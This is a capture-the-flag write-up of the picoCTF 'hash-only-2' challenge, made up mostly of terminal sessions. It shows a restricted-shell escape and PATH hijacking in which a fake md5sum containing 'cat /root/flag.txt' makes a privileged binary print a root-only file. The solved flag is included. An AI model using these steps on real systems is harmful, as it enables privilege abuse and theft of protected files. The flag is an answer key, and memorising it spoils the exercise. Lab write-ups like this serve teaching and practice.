

We are solving hash-only-2, a medium-level binary exploitation challenge on cylab security academy (previously known as picoctf). In this challenge, We must exploit a binary that runs with enough elevated privileges to read the flag file but instead returns the flag file's hash value. This challenge is like the hash-only-1 challenge.

We are provided a username and password to connect to the challenge instance via ssh. I used the following command to do so:

`ssh ctf-player@rescued-float.picoctf.net -p [port given to us by the challenge instance goes here]`

```
L$ ssh ctf-player@rescued-float.picoctf.net -p 62887
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ctf-player@rescued-float.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.17.0-1013-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Aug  7 19:27:47 2026 from 127.0.0.1
ctf-player@pico-chall$
```

In this challenge, the flaghasher binary was not in the home folder anymore, so I had to run the 'find' command to locate where it was on the system. The command I used was 'find / -name flaghasher'. After a bunch of 'Permission denied' statements, I found where the flaghasher binary was on the system:

```

find: '/proc/40/task/40/fd': Permission denied
find: '/proc/40/task/40/fdinfo': Permission denied
find: '/proc/40/task/40/ns': Permission denied
find: '/proc/40/fd': Permission denied
find: '/proc/40/map_files': Permission denied
find: '/proc/40/fdinfo': Permission denied
find: '/proc/40/ns': Permission denied
find: '/proc/41/task/41/fd': Permission denied
find: '/proc/41/task/41/fdinfo': Permission denied
find: '/proc/41/task/41/ns': Permission denied
find: '/proc/41/fd': Permission denied
find: '/proc/41/map_files': Permission denied
find: '/proc/41/fdinfo': Permission denied
find: '/proc/41/ns': Permission denied
find: '/proc/52/task/52/fd': Permission denied
find: '/proc/52/task/52/fdinfo': Permission denied
find: '/proc/52/task/52/ns': Permission denied
find: '/proc/52/fd': Permission denied
find: '/proc/52/map_files': Permission denied
find: '/proc/52/fdinfo': Permission denied
find: '/proc/52/ns': Permission denied
find: '/root': Permission denied
/usr/local/bin/flaghasher
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/var/log/private': Permission denied
find: '/challenge': Permission denied
ctf-player@pico-chall$

```

Now that I know where it is, I try to execute it but it restricts me from doing so (the instance doesn't allow commands with a forward slash), so I run it with only bash, and it tells me it cannot execute the binary:

```

ctf-player@pico-chall$ /bin/bash /usr/local/bin/flaghasher
-rbash: /bin/bash: restricted: cannot specify `/' in command names
ctf-player@pico-chall$ bash /usr/local/bin/flaghasher
/usr/local/bin/flaghasher: /usr/local/bin/flaghasher: cannot execute binary file
ctf-player@pico-chall$

```

I concatenate the binary to see if there is anything interesting and as expected, like the hash-only-1 challenge, the same command used in the hash-only-1 challenge was used here again to create the md5 hash of the flag file:


```

ctf-player@pico-chall$ bash
ctf-player@challenge:~$
ctf-player@challenge:~$
ctf-player@challenge:~$
ctf-player@challenge:~$ python3 -c "file=open('/usr/bin/md5sum','w');"
Traceback (most recent call last):
  File "<string>", line 1, in <module>
PermissionError: [Errno 13] Permission denied: '/usr/bin/md5sum'
ctf-player@challenge:~$ python3 -c "file=open('md5sum','a');file.write('cat /root/flag.txt');"
ctf-player@challenge:~$ ls
md5sum
ctf-player@challenge:~$ export PATH=/home/ctf-player:$PATH
ctf-player@challenge:~$ /usr/local/bin/flaghasher
Computing the MD5 hash of /root/flag.txt....

dd1c78f3ca6c3f58c30ce73799a75369  /root/flag.txt
ctf-player@challenge:~$

```

I noticed I could write to the same directory as the flaghasher binary and after reading the PATH environment variable, I also noticed that this very directory precedes the directory where the real md5sum binary lives:

```

ctf-player@pico-chall$ python3 -c "file=open('/usr/local/bin/f.txt','a');"
ctf-player@pico-chall$ rm /usr/local/bin/f.txt
ctf-player@pico-chall$ printenv
SHELL=/bin/rbash
PWD=/home/ctf-player
LOGNAME=ctf-player
MOTD_SHOWN=pam
HOME=/home/ctf-player
LANG=C.UTF-8
SSH_CONNECTION=127.0.0.1 36990 127.0.0.1 22
TERM=xterm-256color
USER=ctf-player
SHLVL=1
PS1=\[\e[35m\]\u\[\e[m\]@\[\e[35m\]pico-chall\[\e[m\]$
SSH_CLIENT=127.0.0.1 36990 22
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
SSH_TTY=/dev/pts/0
_=/usr/bin/printenv
ctf-player@pico-chall$

```

This means if I create a fake md5sum 'binary' in the /usr/local/bin directory and then run the flaghasher binary, it will look into this directory first and run my fake md5sum 'binary' (this works because the flaghasher binary doesn't specify a path when it tries to run the md5sum command, meaning it will look into the PATH variable for the directory that contains it, running into the one containing our fake one first)!

Now that my attack is ready, all I have to do is find a way to run the flaghasher binary. I can't execute a command with forward slashes and we can't change directories. So what I did was create a bash script with the name 'r' (completely arbitrary) that has a single command in it that executes the flaghasher binary (since they are in the same directory I don't need forward slashes to run it). Once the r script runs, it

triggers the execution of flaghasher, which then uses my fake md5sum 'binary' and prints the flag! I also gave maximum permissions to execute the fake md5sum 'binary'.

```
ctf-player@pico-chall$ python3 -c "file=open('/usr/local/bin/r', 'a');file.write('flaghasher');"
ctf-player@pico-chall$ chmod 777 /usr/local/bin/md5sum
ctf-player@pico-chall$ bash /usr/local/bin/r
Computing the MD5 hash of /root/flag.txt....
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_f3fcc367}ctf-player@pico-
```

flag: picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_f3fcc367}